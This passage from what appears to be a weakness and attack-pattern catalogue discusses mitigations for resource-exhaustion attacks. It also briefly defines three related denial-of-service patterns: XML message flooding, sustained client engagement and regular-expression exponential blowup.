- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.